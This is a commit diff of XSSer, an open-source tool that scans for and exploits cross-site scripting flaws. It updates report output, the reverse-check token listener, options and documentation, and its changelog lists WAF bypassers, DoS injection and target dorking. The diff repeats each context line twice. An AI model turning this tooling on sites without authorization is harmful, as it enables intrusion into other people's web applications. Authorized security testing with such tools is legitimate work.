+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                         else:
                         else:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
-                                fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                             else:
                             else:
-                                fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                         fout.write("="*75 + "\n\n")
                         fout.write("="*75 + "\n\n")
-
         if self.options.fileoutput:
         if self.options.fileoutput:
             fout.close()
             fout.close()
         if self.options.fileoutput and not self.options.filexml:
         if self.options.fileoutput and not self.options.filexml:
@@ -3237,7 +3470,7 @@ class xsser(EncoderDecoder, XSSerReporter):
            self.report("-"*25+"\n")
            self.report("-"*25+"\n")
         if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
         if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
             if not self.options.filexml: 
             if not self.options.filexml: 
-                self.report("[Info] Aborting large screen output. Generating report: [ XSSreport.raw ]\n")
+                self.report("[Info] Aborting large screen output. Generating auto-report at: [ XSSreport.raw ] ;-)\n")
                 self.report("-"*25+"\n")
                 self.report("-"*25+"\n")
                 fout = open("XSSreport.raw", "w") # write better than append
                 fout = open("XSSreport.raw", "w") # write better than append
                 fout.write("="*75)
                 fout.write("="*75)

+ 0 - 5
core/mozchecker.py

@@ -146,21 +146,16 @@ if __name__ == '__main__':
 
 
     gobject.timeout_add(30000, bailout)
     gobject.timeout_add(30000, bailout)
     gobject.timeout_add(100, alertkill)
     gobject.timeout_add(100, alertkill)
-
     win = gtk.Window()
     win = gtk.Window()
     win.set_property('skip-taskbar-hint', True)
     win.set_property('skip-taskbar-hint', True)
     win.set_property('skip-pager-hint', True)
     win.set_property('skip-pager-hint', True)
     win.set_keep_below(True)
     win.set_keep_below(True)
     win.connect('map', unmap)
     win.connect('map', unmap)
-
     moz = MozEmbed()
     moz = MozEmbed()
     moz.load_url(sys.argv[1])
     moz.load_url(sys.argv[1])
-
     moz.connect('net-stop', finished)
     moz.connect('net-stop', finished)
     moz.connect('new-window', new_window)
     moz.connect('new-window', new_window)
-
     win.set_title(sys.argv[1])
     win.set_title(sys.argv[1])
-
     win.add(moz)
     win.add(moz)
     win.show_all()
     win.show_all()
     gtk.main()
     gtk.main()

+ 4 - 5
core/options.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -30,7 +30,7 @@ class XSSerOptions(optparse.OptionParser):
         optparse.OptionParser.__init__(self, 
         optparse.OptionParser.__init__(self, 
                            description='Cross Site "Scripter" is an automatic -framework- to detect, exploit and\nreport XSS vulnerabilities in web-based applications.',
                            description='Cross Site "Scripter" is an automatic -framework- to detect, exploit and\nreport XSS vulnerabilities in web-based applications.',
                            prog='XSSer.py',
                            prog='XSSer.py',
-			   version='\nXSSer v1.8[2]: "The Hiv3!" - (https://xsser.03c8.net) - 2010/2019 -> by psy\n',
+			   version='\nXSSer v1.8[3]: "The HiV€!" - (https://xsser.03c8.net) - 2010/2020 -> by psy\n',
                            usage= '\n\nxsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |-c <crawl> (options)]\n[Request(s)] [Checker(s)] [Vector(s)] [Anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}')
                            usage= '\n\nxsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |-c <crawl> (options)]\n[Request(s)] [Checker(s)] [Vector(s)] [Anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}')
         self.set_defaults(verbose=False, threads=5, retries=1, delay=0, timeout=30,
         self.set_defaults(verbose=False, threads=5, retries=1, delay=0, timeout=30,
                           silent=False)
                           silent=False)
@@ -95,7 +95,7 @@ class XSSerOptions(optparse.OptionParser):
         group4.add_option("--threads", action="store", dest="threads", type="int", help="Maximum number of concurrent requests (default: 5)") 
         group4.add_option("--threads", action="store", dest="threads", type="int", help="Maximum number of concurrent requests (default: 5)") 
         group4.add_option("--delay", action="store", dest="delay", type="int", help="Delay in seconds between each request (default: 0)")
         group4.add_option("--delay", action="store", dest="delay", type="int", help="Delay in seconds between each request (default: 0)")
         group4.add_option("--tcp-nodelay", action="store_true", dest="tcp_nodelay", help="Use the TCP_NODELAY option")
         group4.add_option("--tcp-nodelay", action="store_true", dest="tcp_nodelay", help="Use the TCP_NODELAY option")
-        group4.add_option("--follow-redirects", action="store_true", dest="followred", help="Follow server redirection responses (302)")
+        group4.add_option("--follow-redirects", action="store_true", dest="followred", help="Follow server redirections (default: FALSE)")
         group4.add_option("--follow-limit", action="store", dest="fli", type="int", help="Set limit for redirection requests (default: 50)")
         group4.add_option("--follow-limit", action="store", dest="fli", type="int", help="Set limit for redirection requests (default: 50)")
         self.add_option_group(group4)
         self.add_option_group(group4)
 
 
@@ -108,7 +108,6 @@ class XSSerOptions(optparse.OptionParser):
         group5.add_option("--checkmethod", action="store", dest="altm", help="Check reply using: GET or POST (default: GET)")
         group5.add_option("--checkmethod", action="store", dest="altm", help="Check reply using: GET or POST (default: GET)")
         group5.add_option("--checkatdata", action="store", dest="ald", help="Check reply using: <alternative payload>") 
         group5.add_option("--checkatdata", action="store", dest="ald", help="Check reply using: <alternative payload>") 
         group5.add_option("--reverse-check", action="store_true", dest="reversecheck", help="Establish a reverse connection from target to XSSer")
         group5.add_option("--reverse-check", action="store_true", dest="reversecheck", help="Establish a reverse connection from target to XSSer")
-        group5.add_option("--reverse-open", action="store_true", dest="reverseopen", help="Open a web browser when a reverse check is established")
         self.add_option_group(group5)
         self.add_option_group(group5)
 
 
         group6 = optparse.OptionGroup(self, "*Select Vector(s)*",
         group6 = optparse.OptionGroup(self, "*Select Vector(s)*",
@@ -194,7 +193,7 @@ class XSSerOptions(optparse.OptionParser):
     def get_options(self, user_args=None):
     def get_options(self, user_args=None):
         (options, args) = self.parse_args(user_args)
         (options, args) = self.parse_args(user_args)
         if (not options.url and not options.readfile and not options.dork and not options.dork_file and not options.imx and not options.flash and not options.update and not options.xsser_gtk and not options.wizard and not options.xst and not options.target and not options.checktor):
         if (not options.url and not options.readfile and not options.dork and not options.dork_file and not options.imx and not options.flash and not options.update and not options.xsser_gtk and not options.wizard and not options.xst and not options.target and not options.checktor):
-            print("\n", '='*75)
+            print("\n"+ '='*75)
             print(self.version)
             print(self.version)
             print("-----------", "\n")
             print("-----------", "\n")
             print(self.description, "\n")
             print(self.description, "\n")

+ 1 - 1
core/threadpool.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free

+ 38 - 8
core/tokenhub.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -23,6 +23,9 @@ from threading import Thread
 import socket
 import socket
 import time
 import time
 
 
+success_token_url = False
+token_arrived_hash = None
+
 class ReceiverThread(Thread):
 class ReceiverThread(Thread):
     def __init__(self, client, addr, parent):
     def __init__(self, client, addr, parent):
         Thread.__init__(self)
         Thread.__init__(self)
@@ -33,7 +36,9 @@ class ReceiverThread(Thread):
         data = self.client.recv(1024)
         data = self.client.recv(1024)
         if data:
         if data:
             self.parent.data_arrived(data)
             self.parent.data_arrived(data)
-            self.client.send('thanks for coming!')
+            self.client.send(b'XSSer "token-hub" service running... ;-)\n\n')
+            self.client.send(b'### INCOMING DATA:\n\n')
+            self.client.send(data)
             self.client.close()
             self.client.close()
         self.parent.client_finished(self)
         self.parent.client_finished(self)
 
 
@@ -46,19 +51,44 @@ class HubThread(Thread):
         self.ready = False
         self.ready = False
         self.running =False
         self.running =False
         self.parent = parent
         self.parent = parent
+        self.token_arrived_flag = False
+        self.success_arrived_flag = False
+    def check_hash(self, hashing):
+        if token_arrived_hash:
+            if success_token_url:
+                if token_arrived_hash == hashing: # [100% VULNERABLE] check!
+                    self.token_arrived_flag = True
+                    self.success_arrived_flag = False
+                elif '/success/' in success_token_url:
+                    self.token_arrived_flag = True
+                    self.success_arrived_flag = True
+                else:
+                    self.token_arrived_flag = False
+            else:
+                self.token_arrived_flag = False
+        else:
+            self.token_arrived_flag = False
+        return self.token_arrived_flag, self.success_arrived_flag, token_arrived_hash
     def url_request(self, url):
     def url_request(self, url):
-        split_url = url.split("/")
+        split_url = url.split(b"/")
         if len(split_url) > 2:
         if len(split_url) > 2:
-            if split_url[1] == 'success':
-                self.parent.token_arrived(split_url[2])
+            if split_url[1] == b'success':
+                global success_token_url
+                global token_arrived_hash
+                success_token_url = url.decode('utf-8')
+                token_arrived_hash = split_url[2].decode('utf-8')
+                self.parent.token_arrived(split_url[2].decode('utf-8'))
     def data_arrived(self, data):
     def data_arrived(self, data):
-        data.split("\n")[0]
-        if data.startswith("GET"):
+        data.split(b"\n")[0]
+        if data.startswith(b"GET"):
             split_data = data.split()
             split_data = data.split()
             if len(split_data) > 1:
             if len(split_data) > 1:
                 self.url_request(split_data[1])
                 self.url_request(split_data[1])
     def client_finished(self, _thread):
     def client_finished(self, _thread):
-        self._clients.remove(_thread)
+        try:
+            self._clients.remove(_thread)
+        except:
+            pass
     def shutdown(self):
     def shutdown(self):
         if self.ready:
         if self.ready:
             try:
             try:

+ 2 - 2
core/twsupport.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -33,7 +33,7 @@ except:
     orbited_main = None
     orbited_main = None
     traceback.print_exc()
     traceback.print_exc()
 
 
-print("\nXSSer v1.7b: The Mosquito 'Zika Swarm'\n")
+print("\nXSSer v1.8[3]: 'The HiV€'\n")
 print("Daemon(s): ready!", "//" , "Interfaz: ready!\n")
 print("Daemon(s): ready!", "//" , "Interfaz: ready!\n")
 print("Connect to http://127.0.0.1:19084/static/ via Web or Telnet to manage your swarm\n")
 print("Connect to http://127.0.0.1:19084/static/ via Web or Telnet to manage your swarm\n")
 print("Listening...")
 print("Listening...")

+ 7 - 7
core/update.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -31,8 +31,8 @@ class Updater(object):
         GIT_REPOSITORY = "https://code.03c8.net/epsylon/xsser"
         GIT_REPOSITORY = "https://code.03c8.net/epsylon/xsser"
         GIT_REPOSITORY2 = "https://github.com/epsylon/xsser"
         GIT_REPOSITORY2 = "https://github.com/epsylon/xsser"
         rootDir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', ''))
         rootDir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', ''))
-        if not os.path.exists(os.path.join(rootDir, ".git")):
-            print("[Error] Not any .git repository found!\n")
+        if not os.path.exists(".git"):
+            print("Not any .git repository found!\n")
             print("="*30)
             print("="*30)
             print("\nTo have working this feature, you should clone XSSer with:\n")
             print("\nTo have working this feature, you should clone XSSer with:\n")
             print("$ git clone %s" % GIT_REPOSITORY)
             print("$ git clone %s" % GIT_REPOSITORY)
@@ -40,8 +40,8 @@ class Updater(object):
             print("$ git clone %s" % GIT_REPOSITORY2 + "\n")
             print("$ git clone %s" % GIT_REPOSITORY2 + "\n")
         else:
         else:
             checkout = execute("git checkout . && git pull", shell=True, stdout=PIPE, stderr=PIPE).communicate()[0]
             checkout = execute("git checkout . && git pull", shell=True, stdout=PIPE, stderr=PIPE).communicate()[0]
-            print(checkout)
-            if not "Already up-to-date" in checkout:
-                print("Congratulations!! XSSer has been updated... ;-)\n")
+            print("[Info] [GitHub] Reply:\n\n"+checkout.decode('utf-8'))
+            if not b"Already up-to-date" in checkout:
+                print("[Info] [AI] Congratulations!! XSSer has been updated... ;-)\n")
             else:
             else:
-                print("Your XSSer doesn't need to be updated... ;-)\n")
+                print("[Info] [AI] Your XSSer doesn't need to be updated... ;-)\n")

+ 2 - 0
doc/AUTHOR

@@ -19,10 +19,12 @@
 
 
  - AnonTwi: Tool for OAuth2 applications (such as: GNUSocial, Twitter) that provides different layers of privacy/encryption.
  - AnonTwi: Tool for OAuth2 applications (such as: GNUSocial, Twitter) that provides different layers of privacy/encryption.
  - Bordercheck: Tool to visualize 'real-time' on a world map the geolocation of data when surfing the web.
  - Bordercheck: Tool to visualize 'real-time' on a world map the geolocation of data when surfing the web.
+ - BrAInStocker: Tool for predicting random numbers.
  - CIntruder: Tool to bypass captchas using OCR (Optical Character Recognition) bruteforcing methods.
  - CIntruder: Tool to bypass captchas using OCR (Optical Character Recognition) bruteforcing methods.
  - Collatz: Tool to simulate the Collatz's conjeture.
  - Collatz: Tool to simulate the Collatz's conjeture.
  - DieKunstDerFuge: Video on different topics related to hacktivism recorded during 2013 from an intimate narrative perspective.
  - DieKunstDerFuge: Video on different topics related to hacktivism recorded during 2013 from an intimate narrative perspective.
  - ECOin: Decentralized key/value registration and transfer system based on Bitcoin technology (a cryptocurrency).
  - ECOin: Decentralized key/value registration and transfer system based on Bitcoin technology (a cryptocurrency).
+ - Euler-Bricks: Tool to search for Euler's "bricks".
  - Goldbach: Tool to simulate the Goldbach's conjeture.
  - Goldbach: Tool to simulate the Goldbach's conjeture.
  - Lorea: Social networking autonomous project to build a distributed, encrypted and federated network.
  - Lorea: Social networking autonomous project to build a distributed, encrypted and federated network.
  - Orb: Tool for massive footprinting.
  - Orb: Tool for massive footprinting.

+ 107 - 91
doc/CHANGELOG

@@ -1,7 +1,21 @@
 ================================================================
 ================================================================
-Changelog: XSSer v1.8.2 (https://xsser.03c8.net)
+Changelog: XSSer v1.8.3 (https://xsser.03c8.net)
 ==============================
 ==============================
 
 
+=================
+March 3, 2020:
+=================
+
+- Modified/Updated: anti false positives checkers
+- Added: internal 'headless' browser: gecko/firefox engine
+- Modified/Updated: --reverse-check (GET/POST) (local/remote)
+- Removed: --reverse-open
+- Modified/Updated: DOM attack (added vectors: 13)
+- Modified/Updated: GTK+
+- Added: Requirements
+- Updated: Documentation
+- Updated: Website
+
 =================
 =================
 November 16, 2019:
 November 16, 2019:
 =================
 =================
@@ -9,10 +23,10 @@ November 16, 2019:
 - Ported to: Python3.x
 - Ported to: Python3.x
 - Bugfixing
 - Bugfixing
 - Added: Anti-antiXSS Firewall rules (Bypassers provided: SucuriWAF)
 - Added: Anti-antiXSS Firewall rules (Bypassers provided: SucuriWAF)
-- Modified/Updated GTK+
-- Added Requirements
-- Updated Documentation
-- Updated Website
+- Modified/Updated: GTK+
+- Added: Requirements
+- Updated: Documentation
+- Updated: Website
 
 
 =================
 =================
 September 20, 2019:
 September 20, 2019:
@@ -38,105 +52,105 @@ September 20, 2019:
 April 12, 2018:
 April 12, 2018:
 =================
 =================
 
 
-- Removed deprecated features (search engines, SSLv3...)
-- Fixed auto-update option
+- Removed: deprecated features (search engines, SSLv3...)
+- Fixed: auto-update option
 
 
 =================
 =================
 February 24, 2016:
 February 24, 2016:
 =================
 =================
 
 
-- Removed deprecated features
-- Updated Automatic XSS vectors list (Total: 578 = XSS: 558 + DCP: 4 + DOM: 5 + HTTPsr: 11)
-- Added XST (Cross Site Tracing)
-- Advanced XSA (Cross Site Agent), XSR (Cross Site Referer) and Cookie Injection
-- Updated/Fixed Dorkering system (Search engines supported: duck, bing, google, yahoo, yandex)
-- Added Dorking from file (30 potential 'XSS dorks' provided)
-- Added Mass-Dorking (search with all search engines provided)
-- Added Discarding response method to evade false positives
-- Added Anti-antiXSS Firewall rules (Bypassers provided for: PHPIDS, Imperva, WebKnight, F5BigIP, Barracuda, Apache-Modsec, QuickDefense)
-- Added 'Wizard Helper' to shell mode
-- Updated XSSer tool updater
-- Updated 'Mana' system
-- Fixed Crawlering system
-- Added feature: 'Automatically audit an entire target" 
-- Modified/Updated GTK+
-- Added Requirements
-- Updated Documentation
+- Removed: deprecated features
+- Updated: Automatic XSS vectors list (Total: 578 = XSS: 558 + DCP: 4 + DOM: 5 + HTTPsr: 11)
+- Added: XST (Cross Site Tracing)
+- Advanced: XSA (Cross Site Agent), XSR (Cross Site Referer) and Cookie Injection
+- Updated/Fixed: Dorkering system (Search engines supported: duck, bing, google, yahoo, yandex)
+- Added: Dorking from file (30 potential 'XSS dorks' provided)
+- Added: Mass-Dorking (search with all search engines provided)
+- Added: Discarding response method to evade false positives
+- Added: Anti-antiXSS Firewall rules (Bypassers provided for: PHPIDS, Imperva, WebKnight, F5BigIP, Barracuda, Apache-Modsec, QuickDefense)
+- Added: 'Wizard Helper' to shell mode
+- Updated: XSSer tool updater
+- Updated: 'Mana' system
+- Fixed: Crawlering system
+- Added: feature: 'Automatically audit an entire target" 
+- Modified/Updated: GTK+
+- Added: Requirements
+- Updated: Documentation
 
 
 =================
 =================
 November 28, 2011:
 November 28, 2011:
 =================
 =================
 
 
-- Added Drop Cookie option
-- Added Random IP X-Forwarded-For an X-Client-IP option
-- Added GSS and NTLM authentication methods
-- Added Ignore proxy option
-- Added TCP-NODELAY option
-- Added Follow redirects option
-- Added Follow redirects limiter parameter
-- Added Auto-HEAD precheck system
-- Added No-HEAD option
-- Added Isalive option
-- Added Check at url option (Blind XSS)
-- Added Reverse Check parameter
-- Added PHPIDS (v.0.6.5) exploit
-- Added More vectors to auto-payloading
-- Added HTML5 studied vectors
-- Fixed Different bugs on core
-- Fixed Curl handlerer options
-- Fixed Dorkerers system
-- Fixed Bugs on results propagation
-- Fixed POST requests
-- Added New features to GTK controller
-- Added Detailed views to GTK interface
+- Added: Drop Cookie option
+- Added: Random IP X-Forwarded-For an X-Client-IP option
+- Added: GSS and NTLM authentication methods
+- Added: Ignore proxy option
+- Added: TCP-NODELAY option
+- Added: Follow redirects option
+- Added: Follow redirects limiter parameter
+- Added: Auto-HEAD precheck system
+- Added: No-HEAD option
+- Added: Isalive option
+- Added: Check at url option (Blind XSS)
+- Added: Reverse Check parameter
+- Added: PHPIDS (v.0.6.5) exploit
+- Added: More vectors to auto-payloading
+- Added: HTML5 studied vectors
+- Fixed: Different bugs on core
+- Fixed: Curl handlerer options
+- Fixed: Dorkerers system
+- Fixed: Bugs on results propagation
+- Fixed: POST requests
+- Added: New features to GTK controller
+- Added: Detailed views to GTK interface
 
 
 =================
 =================
 February 21, 2011:
 February 21, 2011:
 =================
 =================
 
 
-- Added heuristic test
-- Updated dorkers list
-- HTTP Response Splitting Induced code 
-- GTK+ interface
-- Geomapping
-- Multithreading workers
-- Test controllers
-- Added websockets technology (orbited)
-- Added update option
-- DoS (server) side injection
-- DCP/DOM/Induced final code
-- Code clean
+- Added: heuristic test
+- Updated: dorkers list
+- Added: HTTP Response Splitting Induced
+- Added: GTK+ interface
+- Added: Geomapping
+- Added: Multithreading workers
+- Added: Test controllers
+- Added: websockets technology (orbited)
+- Added: update option
+- Added: DoS (server) side injection
+- Added: DCP/DOM/Induced final code
+- Updated: Code clean
 - Bugfixing
 - Bugfixing
-- New options menu
-- More advanced statistics system
+- Added: New options menu
+- Advanced: statistics system
 
 
 =================
 =================
 November 7, 2010:
 November 7, 2010:
 =================
 =================
 
 
-- Added "final remote injections" option
-- Cross Flash Attack! 
-- Cross Frame Scripting
-- Data Control Protocol Injections  
-- Base64 (rfc2397) PoC
-- OnMouseMove PoC
-- Browser launcher
-- Code clean
+- Added: "final remote injections" option
+- Added: Cross Flash Attack! 
+- Added: Cross Frame Scripting
+- Added: Data Control Protocol Injections  
+- Added: Base64 (rfc2397) PoC
+- Added: OnMouseMove PoC
+- Added: Browser launcher
+- Updated: Code clean
 - Bugfixing
 - Bugfixing
-- New options menu
-- Pre-check system
-- Crawler spidering clones
-- More advanced statistics system
-- "Mana" ouput results
+- Added: New options menu
+- Added: Pre-check system
+- Added: Crawler spidering clones
+- Added: More Advanced: statistics system
+- Added: "Mana" ouput results
 
 
 =================
 =================
 September 22, 2010:
 September 22, 2010:
 =================
 =================
 
 
-- Added a-xml exporter 
+- Added: a-xml exporter 
 - ImageXSS 
 - ImageXSS 
 - New dorker engines (total 10) 
 - New dorker engines (total 10) 
-- Core clean 
+- Updated: Code clean
 - Bugfixing 
 - Bugfixing 
 - Social Networking auto-publisher
 - Social Networking auto-publisher
 - Started -federated- XSS (full disclosure) pentesting botnet
 - Started -federated- XSS (full disclosure) pentesting botnet
@@ -148,45 +162,47 @@ September 22, 2010:
 August 20, 2010:
 August 20, 2010:
 =================
 =================
 
 
-- Added attack payloads to fuzzer (26 new injections) 
-- POST 
-- Statistics 
-- URL Shorteners 
-- IP Octal 
-- Post-processing payloading 
-- DOM Shadows! 
-- Cookie injector 
-- Browser DoS (Denegation of Service)
+- Added: attack payloads to fuzzer (26 new injections) 
+- Added: POST 
+- Added: Statistics 
+- Added: URL Shorteners 
+- Added: IP Octal 
+- Added: Post-processing payloading 
+- Added: DOM Shadows! 
+- Added: Cookie injector 
+- Added: Browser DoS (Denegation of Service)
 
 
 =================
 =================
 July 1, 2010:
 July 1, 2010:
 =================
 =================
 
 
-- Dorking 
-- Crawling 
-- IP DWORD + Core clean
+- Added: Dorking 
+- Added: Crawling 
+- Added: IP DWORD
+- Updated: Code clean
 
 
 =================
 =================
 April 19, 2010:
 April 19, 2010:
 =================
 =================
 
 
-- HTTPS implemented + patched bugs
+- Bugfixing
+- Added: HTTPS
 
 
 =================
 =================
 March 22, 2010:
 March 22, 2010:
 =================
 =================
 
 
-- Added "inject your own payload" option. Can be used with all character encoding -bypassers- of XSSer
+- Added: "inject your own payload" option. Can be used with all character encoding -bypassers- of XSSer
 
 
 =================
 =================
 March 18, 2010:
 March 18, 2010:
 =================
 =================
 
 
-- Added attack payloads to fuzzer (62 different XSS injections)
+- Added: attack payloads to fuzzer (62 different XSS injections)
 
 
 =================
 =================
 March 16, 2010:
 March 16, 2010:
 =================
 =================
 
 
-- Added new payload encoders to bypass filters
+- Added: new payload encoders to bypass filters
 
 

+ 7 - 4
doc/INSTALL

@@ -8,13 +8,13 @@ Cross Site "Scripter" is an automatic -framework- to detect, exploit and report
 Current Version:
 Current Version:
 ==============================
 ==============================
 
 
-XSSer v1.8[2]: "The Hiv3!" (2010/2019) // [https://xsser.03c8.net]
+XSSer v1.8[3]: "The Hiv€!" (2010/2030) // [https://xsser.03c8.net]
 
 
 ================================================================
 ================================================================
 + INSTALL: AUTO
 + INSTALL: AUTO
 ==================
 ==================
 
 
-  sudo python setup.py install
+  sudo python setup.py install (or sudo python3 setup.py install)
 
 
 ================================================================
 ================================================================
 + INSTALL: MANUAL
 + INSTALL: MANUAL
@@ -28,14 +28,16 @@ XSSer runs on many platforms. It requires Python (3.x) and the following librari
     - python3-geoip2 - Python geoip2 API for web services and databases - Python 3.x
     - python3-geoip2 - Python geoip2 API for web services and databases - Python 3.x
     - python3-gi - Python 3 bindings for gobject-introspection libraries
     - python3-gi - Python 3 bindings for gobject-introspection libraries
     - python3-cairocffi - cffi-based cairo bindings for Python (Python3)
     - python3-cairocffi - cffi-based cairo bindings for Python (Python3)
+    - python3-selenium - Python3 bindings for Selenium
+    - firefoxdriver - Firefox WebDriver support
 
 
 On Debian-based systems (ex: Ubuntu), run: 
 On Debian-based systems (ex: Ubuntu), run: 
 
 
-    sudo apt-get install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-cairocffi
+    sudo apt-get install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-cairocffi python3-selenium firefoxdriver
 
 
 On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 
 
-    sudo pip3 install pycurl bs4 geoip2 gobject cairocffi
+    sudo pip3 install pycurl bs4 geoip2 gobject cairocffi selenium 
 
 
 ####  Source libs:
 ####  Source libs:
 
 
@@ -46,6 +48,7 @@ On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... als
        * PyGeoIP2: https://pypi.org/project/geoip2/
        * PyGeoIP2: https://pypi.org/project/geoip2/
        * PyGObject: https://pypi.org/project/gobject/
        * PyGObject: https://pypi.org/project/gobject/
        * PyCairocffi: https://pypi.org/project/cairocffi/
        * PyCairocffi: https://pypi.org/project/cairocffi/
+       * PySelenium: https://pypi.org/project/selenium/
 
 
 ================================================================
 ================================================================
 
 

+ 2 - 3
doc/README

@@ -8,7 +8,7 @@ Cross Site "Scripter" is an automatic -framework- to detect, exploit and report
 Current Version:
 Current Version:
 ==============================
 ==============================
 
 
-XSSer v1.8[2]: "The Hiv3!" (2010/2019) // [https://xsser.03c8.net]
+XSSer v1.8[3]: "The Hiv€!" (2010/2020) // [https://xsser.03c8.net]
 
 
 ================================================================
 ================================================================
 Options and features:
